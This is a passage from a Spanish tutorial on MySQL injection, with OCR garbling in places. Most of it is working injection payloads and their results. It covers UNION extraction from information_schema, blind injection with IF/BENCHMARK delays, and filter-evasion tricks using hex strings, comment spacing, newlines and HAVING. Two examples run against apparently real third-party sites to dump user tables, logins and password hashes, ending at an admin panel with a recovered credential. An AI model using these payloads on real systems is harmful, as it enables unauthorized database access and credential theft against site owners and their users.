Asi que creamos nuestra query en el nimero 5:

index.php?id=-425 union select
1,2,3,4,information_schema.tables.table_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2
2,23,24,25,26 from information_schema.tables#

Devuelve CHARACTER_SETS

Bien, el siguiente paso es comprobar que podemos generar wheres en la consulta.

Puesto que sin el where nos devuelve CHARACTER_SETS, haremos el siguiente where:

WHERE information_schema.tables.table_name='CHARACTER_SETS'

Si se nos vuelve a listar, podemos generar Wheres, y eso esta perfecto.
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Perfecto, podemos hacer wheres

Bien, esto es cuestion de estudiar como esta estructurado MySQL. No me liaré con este tema.

Con information_schema.tables.table_name vamos a intentar obtener las tablas.

Con information_schema.columns.column_name vamos a intentar obtener las columnas.

Obteniendo las tablas utiles:

MySQL nos regala la funcion group_concat() que nos evitara hacer lo que presento a
continuacion.

index.php?id=-425 union select
1,2,3,4,information_schema.tables.table_name,database(),7,8,9,10,11,12,13,14,15,16,17,18,1
9,20,21,22,23,24,25,26 from information_schema.tables where
information_schema.tables.table_schema = 'msu_general'#

El msu_general es el resultado de la funcion database() inyectada previamente
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No haré un pantallazo de todas las tablas, s6lo decir que la idea es, si conseguimos "A" como
tabla, afiadiremos en la query AND information_schema.tables.table_name !="A"y vamos
afladiendo las que nos devuelva. Asi logramos el listado siguiente.

-cbxevnt

-cbxevnt_temp

-dndhreview
-dndhreview_bridgebuilder
-dndhreview_bridgebuilder_backup
-dndhreview_relations
-dndreview_backup
-dndreview_backup_Apr7
-dndreview_relations_backup2011-02-16
-fff_user_accounts
-theatre_ts_user
-theatre_ts_user_advert
-theatre_ts_user_confirm
-theatre_ts_user_history
-band_msu_ims_user
-band_msu_ims_user_access

-drupal_users

Ejemplo:
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Bien, hemos sacado bastantes tablas, vamos a revisar las de usuario, tienen buena pinta ;)
fff_user_accounts

index.php?id=-
425%20union%20select%201,2,3,4,information_schema.tables.table_name,database(),7,8,9,1
0,11,information_schema.tables.table_schema,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20
from%20information_schema.tables%20where%20information_schema.tables.table_name=%
27fff_user_accounts%27

He afiadido a la query que me muestre el table_schema. Asi vemos que fff_user_accounts
pertenece al schema CALS. asi, para referirnos (mas adelante) a esta tabla, nos referiremos asi:
cals.fff_user_accounts.

Bien ya tenemos la tabla, vamos a ver qué campos tiene esta Ultima, para ello utilizaremos la
inyeccion anterior pero utilizando columns del information_schema.

Con la siguiente Query:

index.php?id=-
425%20union%20select%201,2,3,4,information_schema.columns.column_name,information_s
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chema.columns.table_name,7,8,9,10,11 information_schema.columns.table_schema,13,14,15,
16,17,18,19,20,21,22,23,24,25,26%20from%20information_schema.columns%20where%20inf
ormation_schema.columns.table_schema=%27cals%27%20AND%20information_schema.colu

mns.column_name%20like%20%27%user%%27#

Estamos pidiéndole a mysgl que nos liste las columnas, tablas y su schema que contengan
como columnas User. Obtenemos:

-bcmbsearch_info.proxy_user
-fff_comments.user

-fff_user_accounts.user_type

Y ya no encontramos mas...

Bien, hay informacién (til... vamos a ver que contiene la tabla fff_user_accounts..

Con la siguiente query:

index.php?id=-425 union select
1,2,3,4,information_schema.columns.column_name,information_schema.columns.table_nam
e,7,8,9,10,11 information_schema.columns.table_schema,13,14,15,16,17,18,19,20,21,22,23,2

4,25,26 from information_schema.columns where
information_schema.columns.table_name="fff_user_accounts’

Obtenemos los campos:
-login

-password_hash
-first_name

-mid_name

-last_name
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-user_type
-street_1
-Street_2
-City

-state

-Zip
-phone_1
-phone_2
-phone_3
-added

-modified

y ya no tenemos mas.

Por lo tanto, vamos a intentar conseguir algun login interesante:

Con la siguiente query:
index.php?id=-425 union select
1,2,3,4,cals.fff_user_accounts.user_type,cals.fff_user_accounts.login,7,8,9,10,11,cals.fff_user_

accounts.password_hash,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from
cals.fff_user_accounts where cals.fff_user_accounts.user_type is not null#

No pondré el login, porque delata la pagina web, os paso un screenshot:
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Bien, pues ya tenemos un usuario que parece tener privilegios y su hash.. ahora es cuestion de
imaginacion ;).

Obviamente, como podéis ver, esta web no tiene nada filtrado, sino hubiera sido mas
complicado.

Acabo de enviar un correo a esta universidad, para notificar del problema.

Blind SQL Injection:

Bueno, tal y como su nombre lo indica, se trata de inyectar SQL a ciegas, puesto que la victima
no muestra errores, de manera, que no podemaos diferenciar si la inyeccion no devuelve datos
o si lainyeccion a generado un error.

En este “apartado” del documento, no entraré en detalle referente a PHP, haré algun script
que no muestre errores (de los filtros, hablaremos mas adelante).

En el siguiente ejemplo utilizaré la tabla productos para explicar una base sobre estos ataques.

Al iniciar:

37




Entendamos y Practiquemos MySQL Injection - RevangelyonX

- ol || || http:/flocalhost/sqll.php

b

id- 1 --= Nombre: lmpresora LaserJet HP
id: 2 --= Nombre: Television LG

Al seleccionar un producto:

(' ! il || || http://localhost/sgll.phplid=2

o

e

Television LG
Television LG LED 42 pulgadas

Bien, pongamos en la URL un id que no existe (en este caso, sé que no existe)

é ol || L hittpi//localhost/sgll. phplid=555

i

Ahora, probemos de generar un error:

&= il | | L] http:_a’_a’lncalhnsta'sqll.php?i

Ok, no recibimos nada, este es un escenario simple de Blind SQL Injection.

Volvamos al id correcto.

Si en la url hiciéramos lo siguiente:

id=1 union select 1#

Aqui, no nos aparece el mensaje de la impresora, vamos agregando columnas hasta llegar a

Id=1 union select 1,2,3# y vemos que si que nos muestra el producto :

6 il | | http:/flecalhost/sgll.php?id=1 unicon select 1,2 3%
e —
Impresora LaserJet HP

Impresora LaserJet HP xxxx

38




Entendamos y Practiquemos MySQL Injection - RevangelyonX

Por lo tanto, si hiciéramos id=-1 union select 1,2,3# nos mostrara:

@ il | | http:/flocalhost/sgll.phptid=-1 union select 1,2, 3%

-\_\_,.r"

b2

Y]

Lo mismo podriamos haber hecho con un order..
Y aqui ya sabemos, teniendo la posibilidad de hacer un unién select todo es mas sencillo...

Las inyecciones a ciegas, se basan es obtener un true o un false de la consulta, una de las
opciones posibles es utilizar IF de mysqgl con BENCHMARK, a continuacion os explico como
funcionan.

Con IF y BENCHMARK podemos saber si estamos 0 no en lo cierto.

Supongamaos que tenemos “filtrado” el poder hacer un union, averiguaremos la version mysq|
mediante IFs.

Como funciona el if en mysq|l:

Select if(1=1,1,2)

Para mysql estamos diciéndole: seleccioname 1, si 1=1, sino seleccioname 2. Otro ejemplo:
Select if (“RevangelyonX”="RevangelyonX”,”es true”,”es false”)

Lo que nos devuelve:

: \*f? Mostrando registros 0 - 0 (1 total, La consulta tarda 0.000]

'es falme' )

SELECT IF{ 'Bevangelyonl' = "BevingelyonK', "es tome’,

| Mostrar: | 30 filas empezand

en modo  horizontal -y repetir Ig

+ Opciones
if (RevangelyonX'="RevangelyonX’,'es true’,'es false’)
es true

Perfecto entonces, como averiguar la version de mysgl?
Por ejemplo:

Select if(version()=5,"es 5”, “no es 5”)
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Lo que nos devuelve que no es 5.

Para utilizar el IF en una consulta predefinida por un script, nos ayudaremos de BENCHMARK

Lo que podemos hacer con BENCHMARK es un delay de la respuesta, suponiendo que la URL
quede asi:

id=1 and if(version()=5,1, benchmark(5000000,ENCODE('Slow Down','by 5 seconds")))

Si lo afladimos, veremos que la web esta cargando durante 5 segundos (primer parametro del
benchmark) y finalmente no nos muestra nada, el benchmark() es el segundo parametro del if,
por lo tanto deducimos que si tarda 5 segundos es que en la condicion del IF, hemos entrado al
else y que por lo tanto, la versién de mysql no es 5.

Si hubiéramos hecho la condicién con un “!=" nos hubiera mostrado el primer producto al
momento, por lo tanto, sabriamos que la version de mysql es diferente de 5.

Por lo tanto, si indicamos lo siguiente:
Id=1 and if(version()>5.......)

Nos mostrara el primer producto al momento, ya que mi version de mysql es superior a5, en
caso contrario, habria tardado 5 segundos en responderme en blanco...

Esta es la idea, para lograr saber el user, el database, la version, etc.

/*substring...*/

EVADIENDO FILTROS

Existen documentos online referente al bypassing filters, o bypassing WAFs, etc... aqui voy a
explicar algunas técnicas de filtrados WAFs més basicas, para mas informacion google ;)

-filtrado comillas
-filtrado espacios

-filtrado where
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Programaré un script en PHP que realiza una consulta a la base de datos filtrando cada punto
comentado anteriormente (iré paso por paso). Para ello, y dejando de lado el blind sqli.
Mostraré como queda la query y los errores mysql que da la pagina.

Filtrado de comillas

Este tipo de filtros, suelen efectuarse mediante magic_gquotes y viene definido por php, o bien
por alguna funcion php llamada addslashes(). Lo que hace basicamente es transformar ‘ por \'.

Asi queda la pagina sin ningun tipo de inyeccion:

€ gl | | | http://localhost/sqll.phpTid=2
Query:

SELECT * FROM productos WHERE id =2

Television LG
Television LG LED 42 pulgadas

Si afadimos una comilla en la variable id:

e ol || http://lecalhost/sqll.phpfid=2"

-

Query:

SELECT * FROM productos WHERE id =2\

Bien, podriamos inyectar por ejemplo or id=1, etc... pero si necesitaramos afiadir algun string
(por ejemplo para hacer un UNION information_schema...where...) no mostraria la informacion
esperada puesto que generara un error.
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L il | | || hitpe//localhost/sgll.php?tid=2 or id=1

o

Query:
SELECT * FROM productos WHERE id =2 or id=1

Impresora Laser]et HP
Impresora LaserJet HP xxxxx

Con information_schema:

(- Wi | http://localhost/sqll.phpfid=-2 union select 1,information_schema.tables.table_name, database() from information_schema.tables
e

Query:

SELECT * FROM productos WHERE id =-2 union select 1 information schema tables table name database() from information_schema tables

CHARACTER_SETS
test]

Como vemos, podemos hacer una query, pero si ahora pretendemos buscar todas las tables
que pertenecen a testl:

2 union select 1, information_schema tables_table_name.database() from information_schema tables where i.r]fon:uaﬁon_scha;ua.tables.table_schaﬁ = \'fest]V >

Al hacer el cambio de las comillas, esto genera un error de SQL y no nos muestra ningn dato.

De hecho, simplemente esto:
id=-2 union select 1,’RevangelyonX’,3

ya nos daria error, para estos casos, podemos utilizar valores hexadecimales. RevangelyonX en
hexadecimal es equivalente a (http://www.string-functions.com/string-hex.aspx):

526576616e67656¢796f6e58, y para que MySQL lo tome como un valor hexadecimal,
ahadiremos O0x delante del valor:

0x526576616e67656¢796f6e58
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‘e il || http:/flocalhost/sgll.phpfid=-2 union select 1,0x526576616e67656c796fGe58,3

>

Query:
SELECT * FROM productos WHERE id =-2 union select 1,0x526576616e67656c796f6e58 .3

RevangelyonX
3

Lo que nos lleva a probar:

Query:

SELECT * FROM productos WHERE id =2 umion select 1. ion_schema tables table_name,database() from i ion_schema tables where i jon_schema.tables table_schema = 057465737431

diccionario
test]

Obtenemos diccionario, ya que hemos afiadido en la clausula where el valor hexadecimal de
testl.

Para realizar un like en una inyeccion filtrada por comillas, necesitaremos utilizar la funcion
concat.

SELECT concat('%','00",'%")
Esta query nos mostraria %00%, asi creamos una query con este concat:
Select * from user where username like concat(‘%’,’00’,'%’)

Viene a ser, select * from user where username like ‘%00%’. Al no podemos afiadir las
comillas, cada parametro en hexadecimal y la query queda:

SELECT concat(0x25,0x6f6f,0x25) //nos devuelve el mismo valor %00% sin necesidad de utilizar
comillas. Vamos a probar:

& ol | L http://localhost/sqil.phpTid=-2 union select 1,information_schema tables.table_name, database() from information_schema.tables where informati ~|C' || &~ Yahoo

Query:
SELECT * FROM productos WHERE id =-2 union select 1.information_schema tables table_name database() from information_schema tables where information_schema tables table_name like|
concat(0x25.0x75736572.0x25) and information_schema tables table_schema = 0x696e6661726d6174696f6e5f736368656d61

bak_users
testl

Le estamos diciendo que nos muestre las tablas que contengan user y que no sean de
information-schema:

http://localhost/sqll.php?id=-2 union select
1,information_schema.tables.table_name,database() from information_schema.tables where
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information_schema.tables.table_name like_concat(0x25,0x75736572,0x25) and
information_schema.tables.table_schema != 0x696e666f726d6174696f6e5f736368656d61

Asi que este filtrado, sin filtrados de valores hexadecimales, se puede superar asi.

Filtrado de espacios

Este filtrado se basa, en recuperar lo que recibimos por GET/POST y eliminar los espacios o
bien, explodar los espacios, me explico.

Supongamaos que estamos en un buscador de palabras. Esto seria el input text de la pagina:
[Word aplicacion]

Algoritmo:

Recuperar “Word aplicacion”, separalo (explode) por espacios y genera la query:

Select * from tabla where campo = primeraPalabra or campo = segundaPalabra

Hagamos el ejemplo:

S | L http//localhost/sgll.php

Palabras. wo ex

Buscar

Al buscar estos dos términos:
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6 ol || L] httpefflocalhost/=gll.php?palabra=wo+ex

\ A

SELECT * FROM diccionario WHERE termino LIKE "%owo%' OR. termino LIKE "%oex%'

Resultados:

word- Aplicacion de Microsoft. Editor de texto
excel- Aplicacion de Microsoft. Hoja de calculo

Cual es el problema aqui? Pues que no podemos inyectar directamente UNION SELECT... pues
ocurre esto:

| € Wl || L httpif/lecalhost/sgll.php?palabra=union+select+1%:2C2%2C3%23
A e

SELECT * FROM diccionario WHERE termino LIKE "Younion%' OR termino LIKE "%aselect%’ OR. termino LIKE "%1.2.38%/

Resultados:

Por lo tanto, se “desmonta” la query.

Existen varias maneras de bypassear este filtrado, el primero es utilizando /**/. Mysql ignorara
/**/, pues es un comentario, y vera que hay detras.

Hagamos una prueba:

= il | L] http//localhost/sgll.php

Palabras. '[**forder/™*fby/~[2#

| Buscar

Al buscar:

é il || L bttpdilocalhost/sqll php?palabra="%62F*%2Forder 2 F %2 Fhy %62 F 962 F2 %623

-t

SELECT * FROM diccionaric WHERE termino LIKE '%0'/**/order/** /by/**/2#%'

Resultados:

word- Aplicacion de Microsoft. Editor de texto
excel- Aplicacion de Microsoft. Hoja de calculo
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Nos devuelve resultado, por lo tanto (y porque hemos ido haciendo pruebas) sabemos que
tenemos dos columnas:

& ol || L] httpe/ilocalhost/sgll.php?palabra=-'%2F~*%2Funion%2F* %2 Fselect %2F*%2F ByPassing' %2 C'RevangelyonX' %523

o

SELECT * FROM diccionario WHERE termino LIKE '%-'/**/union**/select/®*/ByPassing'. Revangelyon®'#%'

Resultados:

BvPassing- Revangelvon

Ahora bien, si también se ha filtrado valores como * o /**/ directamente, podemos probar con
saltos de linia.

Un salto de linia, en Hexadecimal es el valor 10, que en la tabla ASCII es: A. Probamos con
%0A:

&= il || || http://localhost/sqll.php?palabra="%0Aunion %0 Aselect30A ByPassing' %2C RevangelyonX' %23

SELECT * FROM diccionario WHERE termino LIKE "%’ union select ByPassing', RevangelyvonX'#%'

Resultados:

word- Aplicacion de Microsoft. Editor de texto
excel- Aplicacion de Microsoft. Hoja de calculo
BvPassing- Bevangelvon®

Observar en la direccion URL: %0A equivale a un salto de linia, lo que para mysgl queda como:
Union
Select

‘ByPassing’

Por lo tanto, devuelve un resultado y nuevamente nos saltamos el filtrado.

FILTRADO WHERE

A veces, los programadores filtran palabras como Where, etc. Que provengan de los inputs del
usuario. Supongamos el siguiente script:

$listadoPalabras=str_replace("where","" strtolower($_GET['palabra']));
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Esta parte del cédigo, eliminara cualquier where introducido por el usuario, por lo tanto:

é Wl | L httpe/flocalhost/sgll.php?palabrazword+where+1 %301 %23

SELECT * FROM diccionario WHERE termino LIKE "%word 1=1£%

Resultados:

Comparad la url con la sentencia final, en estos casos podemos evadirlo mediante HAVING

6 il | L hitpdilocalhost/sqll php?palabra= %:25'+ having+termino %30 " excel" %523

e

SELECT * FROM diccionario WHERE termino LIKE '%%' having termino="excel"#%'

Resultados:

excel- Aplicacion de Microsoft. Hoja de calculo

Veamos la utilidad practica:

Inyectando:

-wo%' union select database(),information_schema.tables.table_schema from
information_schema.tables where information_schema.tables.table_schema="test1'#

SELECT * FROM diccionario WHERE termino LIKE '%-wo%' union select database().information_schema tables table_schema from information_schema tables information_schema tables table_schema="test]1'#%'

] il || L http:/flocalhost/sqll.php?palabra=-wo%25'+union+select+ + database()%2Cinformation_schema.tables.table_name+where+information_schema.l ||| &~ Yohoo

SELECT * FROM diccionario WHERE termino LIKE '%-wo%' union select database(),information _schema tables table name information schema tables.table schema='test1'#%'

No aparece nuestro WHERE en nuestra inyeccion. Modificamos nuestra inyeccién utilizando
HAVING:

-wo%' union select database(),information_schema.tables.table_schema from
information_schema.tables having information_schema.tables.table_schema="test1'#
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SELECT * FROM diccior

Resultados:

test]- testl

EJEMPLO 6 - PRUEBA REAL, BLIND SQL INJECTION

Bueno, ya para terminar con el documento, mostraré otro ejemplo real de cémo gestionar un
ataque blind SQLi sin filtrados por medio.

Encuentro una pagina que presenta una blind sgli, en las categorias se pasan IDs por
parametro URL:
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[t Py N « o m / category ?sid =1

P

INICI BEERE TOTS ELS ARTICLES ENVIAMENTS NOMES A

Flors lliurades a: Defuncio: Tots

Moneda:

Tots els articles

Defuncié

5
Tots

FIRMAMENT COSMOS

Como vemos, devuelve perfectamente los resultados, si afladimos una comilla simple para
generar un error, no nos muestra nada (ni la informacion inicial, ni errores => blind sqli)
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: [ | kit wnane S - o category Tsid=1"

INICI SOBRE

Flors lliurades a:

Moneda:

Probamos con order by (tenemos como alternativa group by o bien los unions directamente)

50




Entendamos y Practiquemos MySQL Injection - RevangelyonX

category?sid=1 order by 1--

TOTS ELS ARTICLES ENVIAMENTS NOMES A

ticles

FIRMAMENT

[ TaTaterat] [ TaTatarals y

Al mostrarnos informacion, nos indica MySQL que efectivamente, hay un campo minimo... si
order, group by, union, etc. Esté filtrado, aqui no se nos mostraria ningun resultado.

Bien después de incrementar el valor, vemos que devuelve resultados cuando ordeno por 33
pero no por 34, asi pues, la tabla dispone de 33 campos.
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1 union select1,2,34,56,7,8910,11,1213141516,17,18,19,20,21 22 23 24 25 26,27 28,29,30,31,32,33-- - &

Registrar | Inic

TOTS ELS ARTICLES ENVIAMENTS CONTACTA AME NOSAL]

FIRMAMENT COSMOS GLORIA

He cortado la imagen, pero mas abajo del listado, se veian nimeros como 8, 26, etc. Esto es
debido a que el programador a hecho un WHILE del mysgl_fetch_array y por ese motivo nos
lista incluso el resultado devuelto por el UNION.

Generamos un ID invéalido para que s6lo nos muestre los valores nimericos que pertenecen al
UNION.
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-1 union select1,2,3,4,5,6,7,8010,11,12,13,14,15,16,17,18,19,20,21,22

AFLORS TOTS ELS ARTICLES ENVIAMENTS NOMES A ,

3

-M

14.60€

Comprar ara!

Hecho esto, inyectamos una query para que nos liste todas las tablas (no es necesario
group_concat() puesto que el programador... hace un while...). La query es la tipica:

-id union select 1,2,3,4,information_schema.tables.table_name,4,5..... from

information_schema.tables--
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-1 union select 1,2,3,4,5,6,7, information_schema.tables.table_name9,10,111213.14,15,1617,18,19,20, 21 bt | &l
1400 1400 1400

th

Comprar ara! Comprar ara! Comprar ara!

REGISTRATION SALE_PRODUCT SUBCATEGORY
14.60€ 14.60€ 14.60€

Comprar ara! Comprar ara! Comprar ara!

Bien, en el gran listado, veo una Tabla interesante, llamada USER, sacamos qué columnas tiene
esta tabla, gracias nuevamente a information_schema, pero utilizamos esta vez
COLUMNS.COLUMN_NAME de information schema, utilizando esta query:

?sid=-
1%20union%20select%201,2,3,4,5,6,7,information_schema.columns.column_name,9,10,11,12
,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20information_sch
ema.columns%20where%20information_schema.columns.table_name=%27user%z27--
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-1 union select1,2,3,4,5,6,7, information_schema.columns.column_name 8101112 1314151617 18 1¢ - & ?'-" -

\AFLORS TOTS ELS ARTICLES ENVIAMENTS NOMES CONTACTA AME NOSALTRES

D NAME USER_ID PASSWORD
IIII:I 20.00€ 2000 20006 20006
14.60£€ 14.60€ 14.60€ 14.60€

Comprar ara! Comprar ara! Comprar ara!

En este caso, he podido inyectar comillas simples, si no hubieramos podido por motivos de
filtrado, utilizariamos: 0x75736572 para que MySQL al traducirlo, entienda que se trata de
USER.

Por costumbre, suelo hacer queries con la siguiente nomenclatura:

Schema.tabla.campo

Como ya tenemos tanto la tabla (USER) como los campos (USER_ID, PASSWORD), vamos a
sacar a que schema pertenece la tabla con la siguiente query:

?sid=-
1%20union%20select%201,2,3,4,5,6,7,information_schema.columns.table_schema,9,10,11,12,
13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20information_sch
ema.columns%20where%20information_schema.columns.table_name=%27user%27--

Bien, sigamos vemos varios campos interesantes, dos en concreto asi que lanzamos la tltima
query para mostrar todos los usuarios y todos los passwords que hay en esa tabla:
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?sid=-
1%20union%20select%201,2,3,4,5,6,group_concat%28<schema_que_no_muestro>.user.user_i
d%?29,group_concat%28<schema_que_no_muestro>.user.password%29,9,10,11,12,13,14,15,1
6,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20<schema_que_no_muestro
>.user—

He puesto group_concat() por reflejo vamos.. pero enfin el resultado es el siguiente:

admin

ROY7ROMYXJUU

14.60£€

Comprar ara!

Nos da por probar:

Paginawebvulnerable.com/admin/ y:
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Admin Panel

Llser name

Password

Y ya estd, sin mas que afiadir, cada uno luego hara lo que crea conveniente, mi caso es
peculiar, yo ya notifiqué a esta pagina web en su momento del bug,enfin enviaré un correo al
Administrador para que se ponga en contacto conmigo y tratar de resolver sus problemas de la
manera mas conveniente. Otros le haran un deface y publicaran ser hackers ;)
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